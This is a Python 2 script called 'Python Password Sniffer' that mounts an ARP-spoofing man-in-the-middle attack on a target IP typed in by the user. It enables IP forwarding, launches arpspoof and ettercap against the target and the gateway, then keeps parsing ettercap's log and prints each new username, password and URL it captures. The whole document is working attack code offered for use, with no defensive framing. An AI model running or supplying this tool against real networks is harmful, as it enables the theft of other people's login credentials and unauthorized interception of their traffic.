Python Password Sniffer

# Credits to Cracker|Hacker for development. Do not copy.
# Thanks to my many friends for teaching me how to do this! :)

#! /usr/bin/env python
#include <stdio.h>
import subprocess
import socket, struct
import os
import sys
import time
os.system("clear")
def get_gate():
    with open("/proc/net/route") as fh:
        for line in fh:
            fields = line.strip().split()
            if fields[1] != '00000000' or not int(fields[3], 16) & 2:
                continue

            return socket.inet_ntoa(struct.pack("<L", int(fields[2], 16)))
gateway = get_gate()
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
target = raw_input("Enter the target IP: ")
interface = raw_input("Enter the interface you want to run on: ")
subprocess.call("arpspoof -i %s -t %s -r %s &" % (interface, target, gateway), stdout=subprocess.PIPE, shell=True)
subprocess.call("ettercap -T -m etter.txt -i %s -M ARP /%s/ // &" % (interface, target), stdout=subprocess.PIPE, shell=True)
time.sleep(2)
log_file = "etter.txt"
old_time = os.stat(log_file).st_mtime
while True:
	username_list = list(subprocess.check_output("cat etter.txt | grep 'USER:' | tail -1 | awk '{print $6}'", shell=True))
	password_list = list(subprocess.check_output("cat etter.txt | grep 'PASS:' | tail -1 | awk '{print $8}'", shell=True))
	url = subprocess.check_output("cat etter.txt | grep 'INFO:' | tail -1 | awk '{print $10}'", shell=True)
	if "+" in username_list:
		fix1 = username_list.index('+')
		username_list[fix1] = " "
	username = "".join(username_list)
	if "+" in password_list:
		fix2 = password_list.index('+')
		password_list[fix2] = " "
	password = "".join(password_list)
	new_time = os.stat(log_file).st_mtime
	if old_time != new_time:
		print "\n------------------------\n|New credentials found.|\n------------------------\nUsername: %s\nPassword: %s\nURL: %s\n" % (username, password, url)
		old_time = new_time
	time.sleep(1)